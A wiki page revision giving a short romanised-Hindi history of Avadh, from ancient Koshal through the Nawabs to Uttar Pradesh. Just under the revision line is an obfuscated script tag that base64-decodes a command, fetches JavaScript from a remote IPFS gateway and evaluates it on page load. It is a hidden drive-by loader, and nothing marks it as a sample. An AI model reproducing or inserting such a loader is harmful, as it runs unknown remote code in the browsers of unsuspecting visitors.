अवध
Revision as of 13:12, 25 August 2010 by व्यवस्थापन (talk | contribs) (Text replace - "अंग्रेजों" to "अंग्रेज़ों")
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- avadh shabd ayodhya se nikala hai . uttar pradesh ka yah bhag koshal kahalata tha . dasharath yahaan ke raja the aur ayodhya unaki rajadhani thi .
- itihas mean uttar bharat ke jin solah janapadoan ka ullekh hai, unamean yah bhi tha aur shravasti isaki rajadhani thi . bad mean isako jitakar nandoan aur moryoan ne magadh rajy ka aang bana liya .
- chauthi shatabdi mean avadh gupt samrajy ka aur satavian mean harshavardhan ke samrajy ka aang tha .
- navian shatabdi mean gurjar-pratiharoan ne ise apane samrajy mean mila liya .
- san 1192 mean shahabuddin muhammad gori ke ek sahayak ne avadh ko jita to usake bad musalaman amiroan ka yahaan basana aranbh ho gaya .
- muhammd tugalak ke shasan kal mean sabase adhik vyakti aye . 1340 ee. mean avadh ko dilli ke shasan ka aang bana liya aur yah sthiti 1724 ee. tak rahi . is varsh avadh ke mugal soobedar sadat khaan ne apane ko dilli se svatantr karake avadh ke navab vansh ki nianv dali . tin pidhiyoan tak shasan karane ke bad is vansh ka antim navab shujauddaula 1764 ee. mean aangrezoan se har gaya . isake bad navaboan ki shakti ghatati gee aur eest iandiya kanpani ka panja kasata gaya aantim navab vajid ali shah ko aangrezoan ne 1856 ee. mean kushasan ka abhiyog lagakar avadh ki gaddi se utar diya aur yah bhag british bharat ka aang ban gaya .
- 1902 ee. mean agara aur avadh ko milakar ‘sanyukt praant agara v avadh’ banaya gaya . bharat ke svatantr hone par is praant ka nam uttar pradesh p da .
- avadh ke navaboan ke shasanakal mean yahaan muslim sanskriti ka paryapt prasar hua . unhoanne anek masjidoan aur bhavanoan ka nirman kiya jo aj bhi rajadhani lakhanoo tatha any nikatavarti nagaroan ka akarshan hai .